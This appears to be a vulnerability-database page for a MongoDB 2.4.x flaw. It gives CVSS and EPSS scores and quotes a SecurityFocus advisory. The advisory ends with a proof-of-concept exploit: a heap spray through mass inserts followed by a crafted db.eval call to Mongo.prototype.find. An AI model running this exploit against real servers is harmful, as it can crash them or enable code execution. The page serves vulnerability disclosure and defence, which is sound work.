CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The find prototype in scripting/engine_v8.h in MongoDB 2.4.0 through 2.4.4 allows remote authenticated users to cause a denial of service (uninitialized pointer dereference and server crash) or possibly execute arbitrary code via an invalid RefDB object.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.5
AV:N/AC:L/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
9.27%
–
–
2022-04-03
–
–
9.27%
–
–
2023-03-12
–
–
–
6.54%
–
2024-02-11
–
–
–
1.85%
–
2024-03-31
–
–
–
2.07%
–
2024-04-14
–
–
–
2.54%
–
2024-06-02
–
–
–
3.88%
–
2024-07-07
–
–
–
4.41%
–
2024-07-28
–
–
–
6.11%
–
2024-09-22
–
–
–
6.54%
–
2024-12-22
–
–
–
7.14%
–
2025-01-19
–
–
–
7.14%
–
2025-03-18
–
–
–
–
8.81%
2025-03-18
–
–
–
–
8.81,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/61309/info
MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.
MongoDB 2.4.4 is vulnerable; other versions may also be affected.
use databaseMapped
sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');